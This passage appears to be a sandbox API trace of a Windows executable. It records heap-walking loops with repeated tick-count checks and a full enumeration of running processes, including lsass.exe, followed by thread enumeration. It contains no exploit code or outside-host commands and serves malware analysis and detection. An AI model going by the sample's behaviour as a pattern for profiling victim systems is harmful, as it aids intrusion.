hHeap=0x810000) returned 1 [0125.397] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.411] GetTickCount () returned 0x113477c [0125.411] GetCurrentThreadId () returned 0x134 [0125.411] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.411] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.411] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.426] GetTickCount () returned 0x113478c [0125.426] GetCurrentThreadId () returned 0x134 [0125.426] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.426] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.426] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.441] GetTickCount () returned 0x113479b [0125.441] GetCurrentThreadId () returned 0x134 [0125.441] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.441] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.441] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.456] GetTickCount () returned 0x11347ab [0125.456] GetCurrentThreadId () returned 0x134 [0125.456] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.456] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.456] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.471] GetTickCount () returned 0x11347bb [0125.471] GetCurrentThreadId () returned 0x134 [0125.471] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.471] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.471] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.486] GetTickCount () returned 0x11347ca [0125.486] GetCurrentThreadId () returned 0x134 [0125.486] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.486] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.486] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.501] GetTickCount () returned 0x11347da [0125.501] GetCurrentThreadId () returned 0x134 [0125.501] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.501] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.501] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.515] GetTickCount () returned 0x11347e9 [0125.515] GetCurrentThreadId () returned 0x134 [0125.515] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.515] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.516] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.531] GetTickCount () returned 0x11347f9 [0125.531] GetCurrentThreadId () returned 0x134 [0125.531] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.531] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.531] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.547] GetTickCount () returned 0x1134809 [0125.547] GetCurrentThreadId () returned 0x134 [0125.547] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.547] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.547] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.562] GetTickCount () returned 0x1134818 [0125.562] GetCurrentThreadId () returned 0x134 [0125.562] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.562] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.562] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.578] GetTickCount () returned 0x1134828 [0125.578] GetCurrentThreadId () returned 0x134 [0125.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.578] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.593] GetTickCount () returned 0x1134837 [0125.593] GetCurrentThreadId () returned 0x134 [0125.593] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.593] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.593] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.609] GetTickCount () returned 0x1134847 [0125.609] GetCurrentThreadId () returned 0x134 [0125.609] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.609] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.609] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.625] GetTickCount () returned 0x1134857 [0125.625] GetCurrentThreadId () returned 0x134 [0125.625] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.625] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.625] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.640] GetTickCount () returned 0x1134866 [0125.640] GetCurrentThreadId () returned 0x134 [0125.640] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.640] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.640] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.656] GetTickCount () returned 0x1134876 [0125.656] GetCurrentThreadId () returned 0x134 [0125.656] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.656] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.656] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.671] GetTickCount () returned 0x1134885 [0125.671] GetCurrentThreadId () returned 0x134 [0125.671] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.671] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.671] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.686] GetTickCount () returned 0x1134895 [0125.686] Heap32ListNext (hSnapshot=0x628, lphl=0x3dcf454) returned 1 [0125.686] GetTickCount () returned 0x1134895 [0125.686] GetTickCount () returned 0x1134895 [0125.686] Process32First (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.687] GetCurrentThreadId () returned 0x134 [0125.687] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.687] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.687] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0125.688] GetTickCount () returned 0x1134895 [0125.688] GetCurrentThreadId () returned 0x134 [0125.688] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.688] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.688] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0125.689] GetTickCount () returned 0x1134895 [0125.689] GetCurrentThreadId () returned 0x134 [0125.689] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.689] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.689] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0125.690] GetTickCount () returned 0x1134895 [0125.690] GetCurrentThreadId () returned 0x134 [0125.690] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.690] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.690] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0125.690] GetTickCount () returned 0x1134895 [0125.690] GetCurrentThreadId () returned 0x134 [0125.690] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.691] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.691] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0125.691] GetTickCount () returned 0x1134895 [0125.691] GetCurrentThreadId () returned 0x134 [0125.691] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.691] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.691] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0125.692] GetTickCount () returned 0x1134895 [0125.692] GetCurrentThreadId () returned 0x134 [0125.692] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.692] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.692] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0125.693] GetTickCount () returned 0x1134895 [0125.693] GetCurrentThreadId () returned 0x134 [0125.693] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.693] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.693] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0125.694] GetTickCount () returned 0x1134895 [0125.694] GetCurrentThreadId () returned 0x134 [0125.694] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.694] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.694] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0125.695] GetTickCount () returned 0x1134895 [0125.695] GetCurrentThreadId () returned 0x134 [0125.695] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.695] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.695] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.695] GetTickCount () returned 0x1134895 [0125.695] GetCurrentThreadId () returned 0x134 [0125.695] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.695] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.695] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.696] GetTickCount () returned 0x1134895 [0125.696] GetCurrentThreadId () returned 0x134 [0125.696] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.696] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.696] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.697] GetTickCount () returned 0x1134895 [0125.697] GetCurrentThreadId () returned 0x134 [0125.697] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.697] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.697] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.698] GetTickCount () returned 0x1134895 [0125.698] GetCurrentThreadId () returned 0x134 [0125.698] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.698] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.698] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.699] GetTickCount () returned 0x1134895 [0125.699] GetCurrentThreadId () returned 0x134 [0125.699] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.699] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.699] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0125.699] GetTickCount () returned 0x1134895 [0125.699] GetCurrentThreadId () returned 0x134 [0125.699] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.699] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.699] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.700] GetTickCount () returned 0x1134895 [0125.700] GetCurrentThreadId () returned 0x134 [0125.700] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.700] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.700] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0125.701] GetTickCount () returned 0x11348a5 [0125.701] GetCurrentThreadId () returned 0x134 [0125.702] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.702] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.702] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x30c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0125.702] GetTickCount () returned 0x11348a5 [0125.702] GetCurrentThreadId () returned 0x134 [0125.702] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.702] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.702] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0125.703] GetTickCount () returned 0x11348a5 [0125.703] GetCurrentThreadId () returned 0x134 [0125.703] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.703] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.703] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.704] GetTickCount () returned 0x11348a5 [0125.704] GetCurrentThreadId () returned 0x134 [0125.704] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.704] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.704] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0125.704] GetTickCount () returned 0x11348a5 [0125.704] GetCurrentThreadId () returned 0x134 [0125.704] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.704] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.704] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0125.705] GetTickCount () returned 0x11348a5 [0125.705] GetCurrentThreadId () returned 0x134 [0125.705] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.705] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.705] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.706] GetTickCount () returned 0x11348a5 [0125.706] GetCurrentThreadId () returned 0x134 [0125.706] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.706] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.706] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x378, pcPriClassBase=13, dwFlags=0x0, szExeFile="host1506_2020-06-15_14-07.exe")) returned 1 [0125.707] GetTickCount () returned 0x11348a5 [0125.707] GetCurrentThreadId () returned 0x134 [0125.707] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.707] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.707] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x574, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0125.707] GetTickCount () returned 0x11348a5 [0125.707] GetCurrentThreadId () returned 0x134 [0125.707] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.707] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.708] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0125.708] GetTickCount () returned 0x11348a5 [0125.708] GetCurrentThreadId () returned 0x134 [0125.708] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.708] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.708] Process32Next (in: hSnapshot=0x628, lppe=0x3dcf258 | out: lppe=0x3dcf258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0125.709] GetTickCount () returned 0x11348a5 [0125.709] Thread32First (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.709] GetCurrentThreadId () returned 0x134 [0125.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.709] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.709] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.710] GetTickCount () returned 0x11348a5 [0125.710] GetCurrentThreadId () returned 0x134 [0125.710] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.710] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.710] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.711] GetTickCount () returned 0x11348a5 [0125.711] GetCurrentThreadId () returned 0x134 [0125.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.711] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.711] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.711] GetTickCount () returned 0x11348a5 [0125.711] GetCurrentThreadId () returned 0x134 [0125.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.712] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.712] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.712] GetTickCount () returned 0x11348a5 [0125.712] GetCurrentThreadId () returned 0x134 [0125.712] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.712] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.712] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.713] GetTickCount () returned 0x11348a5 [0125.713] GetCurrentThreadId () returned 0x134 [0125.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.713] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.713] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.714] GetTickCount () returned 0x11348a5 [0125.714] GetCurrentThreadId () returned 0x134 [0125.714] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.714] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.714] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.714] GetTickCount () returned 0x11348a5 [0125.714] GetCurrentThreadId () returned 0x134 [0125.714] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.714] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.714] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.715] GetTickCount () returned 0x11348a5 [0125.715] GetCurrentThreadId () returned 0x134 [0125.715] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.715] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.715] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.716] GetTickCount () returned 0x11348a5 [0125.716] GetCurrentThreadId () returned 0x134 [0125.716] 